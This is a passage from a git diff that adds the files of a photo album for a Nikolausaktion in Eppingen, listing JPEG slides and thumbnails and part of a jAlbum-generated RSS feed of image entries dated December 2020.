STA/slides/001 (32).jpg new file mode 100644 index 00000000..48585ea1 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (32).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (33).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (33).jpg new file mode 100644 index 00000000..3e1f4fd3 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (33).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (34).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (34).jpg new file mode 100644 index 00000000..2dc59373 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (34).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (35).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (35).jpg new file mode 100644 index 00000000..b008f129 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (35).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (36).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (36).jpg new file mode 100644 index 00000000..975b93bd Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (36).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (37).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (37).jpg new file mode 100644 index 00000000..eff06458 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (37).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (38).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (38).jpg new file mode 100644 index 00000000..6f0dba9d Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (38).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (39).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (39).jpg new file mode 100644 index 00000000..797b1fae Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (39).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (4).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (4).jpg new file mode 100644 index 00000000..5a5bd944 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (4).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (40).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (40).jpg new file mode 100644 index 00000000..a03f8327 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (40).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (41).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (41).jpg new file mode 100644 index 00000000..9c9266b5 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (41).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (42).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (42).jpg new file mode 100644 index 00000000..1fe22d84 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (42).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (43).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (43).jpg new file mode 100644 index 00000000..4163382d Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (43).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (5).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (5).jpg new file mode 100644 index 00000000..09186506 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (5).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (6).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (6).jpg new file mode 100644 index 00000000..946bb8f2 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (6).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (7).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (7).jpg new file mode 100644 index 00000000..2b344cec Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (7).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (8).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (8).jpg new file mode 100644 index 00000000..ce62c01d Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (8).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (9).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (9).jpg new file mode 100644 index 00000000..40a87d19 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (9).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (1).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (1).jpg new file mode 100644 index 00000000..4c322f4a Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (1).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (10).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (10).jpg new file mode 100644 index 00000000..8693645b Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (10).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (11).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (11).jpg new file mode 100644 index 00000000..7dbc43c2 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (11).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (12).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (12).jpg new file mode 100644 index 00000000..0c7f9e93 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (12).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (13).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (13).jpg new file mode 100644 index 00000000..44160395 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (13).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (14).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (14).jpg new file mode 100644 index 00000000..7645af93 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (14).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (15).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (15).jpg new file mode 100644 index 00000000..5b2835a5 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (15).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (16).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (16).jpg new file mode 100644 index 00000000..f78b9841 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (16).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (17).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (17).jpg new file mode 100644 index 00000000..94d7cfc6 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (17).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (18).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (18).jpg new file mode 100644 index 00000000..f22244f1 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (18).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (19).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (19).jpg new file mode 100644 index 00000000..5da97110 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (19).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (2).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (2).jpg new file mode 100644 index 00000000..4d0c46f5 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (2).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (20).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (20).jpg new file mode 100644 index 00000000..57553622 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (20).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (21).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (21).jpg new file mode 100644 index 00000000..a7e85404 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (21).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (22).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (22).jpg new file mode 100644 index 00000000..d83c9907 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (22).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (23).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (23).jpg new file mode 100644 index 00000000..1d02710c Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (23).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (24).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (24).jpg new file mode 100644 index 00000000..2a5ff4ac Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (24).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (25).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (25).jpg new file mode 100644 index 00000000..5e012527 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (25).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (26).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (26).jpg new file mode 100644 index 00000000..44bfd9e3 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (26).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (27).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (27).jpg new file mode 100644 index 00000000..4aacef01 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (27).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (28).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (28).jpg new file mode 100644 index 00000000..2b96eaf0 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (28).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (29).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (29).jpg new file mode 100644 index 00000000..906aa4da Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (29).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (3).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (3).jpg new file mode 100644 index 00000000..fb9aac5a Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (3).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (30).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (30).jpg new file mode 100644 index 00000000..2f499edb Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (30).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (31).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (31).jpg new file mode 100644 index 00000000..8b70812b Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (31).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (32).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (32).jpg new file mode 100644 index 00000000..935e5686 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (32).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (33).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (33).jpg new file mode 100644 index 00000000..c74631ee Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (33).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (34).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (34).jpg new file mode 100644 index 00000000..f1e326b3 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (34).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (35).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (35).jpg new file mode 100644 index 00000000..583abe4e Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (35).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (36).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (36).jpg new file mode 100644 index 00000000..008aa795 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (36).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (37).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (37).jpg new file mode 100644 index 00000000..5f929feb Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (37).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (38).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (38).jpg new file mode 100644 index 00000000..72532681 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (38).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (39).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (39).jpg new file mode 100644 index 00000000..12d417ae Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (39).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (4).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (4).jpg new file mode 100644 index 00000000..15485f94 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (4).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (40).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (40).jpg new file mode 100644 index 00000000..886ee0cf Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (40).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (41).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (41).jpg new file mode 100644 index 00000000..0f8c9e9f Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (41).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (42).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (42).jpg new file mode 100644 index 00000000..9c5a67b3 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (42).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (43).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (43).jpg new file mode 100644 index 00000000..c2c5faa6 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (43).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (5).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (5).jpg new file mode 100644 index 00000000..b8927679 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (5).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (6).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (6).jpg new file mode 100644 index 00000000..f601b128 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (6).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (7).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (7).jpg new file mode 100644 index 00000000..8a792468 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (7).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (8).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (8).jpg new file mode 100644 index 00000000..3f934b00 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (8).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (9).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (9).jpg new file mode 100644 index 00000000..4abe4d6b Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/thumbs/001 (9).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/album.rss b/public/fotoalbum/Nikolausaktion-Eppingen/album/album.rss new file mode 100644 index 00000000..4b2494cc --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Eppingen/album/album.rss @@ -0,0 +1,5463 @@ + + + + Nikolausaktion-Eppingen + . + jAlbum 23.1 + + + + + S22C-620121018464_0001 + slides/S22C-620121018464_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018464_0001.jpg + + + S22C-620121513303_0001 + slides/S22C-620121513303_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513303_0001.jpg + + + S22C-620121019144_0001 + slides/S22C-620121019144_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019144_0001.jpg + + + S22C-620121517004_0001 + slides/S22C-620121517004_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517004_0001.jpg + + + S22C-620121516465_0001 + slides/S22C-620121516465_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516465_0001.jpg + + + S22C-620121516464_0001 + slides/S22C-620121516464_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516464_0001.jpg + + + S22C-620121513181_0001 + slides/S22C-620121513181_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513181_0001.jpg + + + S22C-620121019132_0001 + slides/S22C-620121019132_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019132_0001.jpg + + + S22C-620121019073_0001 + slides/S22C-620121019073_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019073_0001.jpg + + + S22C-620121513052_0001 + slides/S22C-620121513052_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513052_0001.jpg + + + S22C-620121018481_0001 + slides/S22C-620121018481_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018481_0001.jpg + + + S22C-620121516450_0001 + slides/S22C-620121516450_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516450_0001.jpg + + + S22C-620121517031_0001 + slides/S22C-620121517031_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517031_0001.jpg + + + S22C-620121019031_0001 + slides/S22C-620121019031_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019031_0001.jpg + + + S22C-620121515441_0001 + slides/S22C-620121515441_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515441_0001.jpg + + + S22C-620121018532_0001 + slides/S22C-620121018532_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018532_0001.jpg + + + S22C-620121517013_0001 + slides/S22C-620121517013_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517013_0001.jpg + + + S22C-620121517080_0001 + slides/S22C-620121517080_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517080_0001.jpg + + + S22C-620121517081_0001 + slides/S22C-620121517081_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517081_0001.jpg + + + S22C-620121515593_0001 + slides/S22C-620121515593_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515593_0001.jpg + + + S22C-620121019080_0001 + slides/S22C-620121019080_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019080_0001.jpg + + + S22C-620121513131_0001 + slides/S22C-620121513131_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513131_0001.jpg + + + S22C-620121515330_0001 + slides/S22C-620121515330_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515330_0001.jpg + + + S22C-620121019110_0001 + slides/S22C-620121019110_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019110_0001.jpg + + + S22C-620121019111_0001 + slides/S22C-620121019111_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019111_0001.jpg + + + S22C-620121516431_0001 + slides/S22C-620121516431_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516431_0001.jpg + + + S22C-620121516430_0001 + slides/S22C-620121516430_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516430_0001.jpg + + + S22C-620121019051_0001 + slides/S22C-620121019051_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019051_0001.jpg + + + S22C-620121517111_0001 + slides/S22C-620121517111_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517111_0001.jpg + + + S22C-620121019050_0001 + slides/S22C-620121019050_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019050_0001.jpg + + + S22C-620121516024_0001 + slides/S22C-620121516024_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516024_0001.jpg + + + S22C-620121513260_0001 + slides/S22C-620121513260_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513260_0001.jpg + + + S22C-620121513320_0001 + slides/S22C-620121513320_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513320_0001.jpg + + + S22C-620121018330_0001 + slides/S22C-620121018330_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018330_0001.jpg + + + S22C-620121516490_0001 + slides/S22C-620121516490_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516490_0001.jpg + + + S22C-620121513211_0001 + slides/S22C-620121513211_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513211_0001.jpg + + + S22C-620121513210_0001 + slides/S22C-620121513210_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513210_0001.jpg + + + S22C-620121516592_0001 + slides/S22C-620121516592_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516592_0001.jpg + + + S22C-620121517160_0001 + slides/S22C-620121517160_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517160_0001.jpg + + + S22C-620121517161_0001 + slides/S22C-620121517161_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517161_0001.jpg + + + S22C-620121515472_0001 + slides/S22C-620121515472_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515472_0001.jpg + + + S22C-620121516441_0001 + slides/S22C-620121516441_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516441_0001.jpg + + + S22C-620121516440_0001 + slides/S22C-620121516440_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516440_0001.jpg + + + S22C-620121513140_0001 + slides/S22C-620121513140_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513140_0001.jpg + + + S22C-620121019090_0001 + slides/S22C-620121019090_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019090_0001.jpg + + + S22C-620121019091_0001 + slides/S22C-620121019091_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019091_0001.jpg + + + S22C-620121018462_0001 + slides/S22C-620121018462_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018462_0001.jpg + + + S22C-620121515451_0001 + slides/S22C-620121515451_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515451_0001.jpg + + + S22C-620121019143_0001 + slides/S22C-620121019143_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019143_0001.jpg + + + 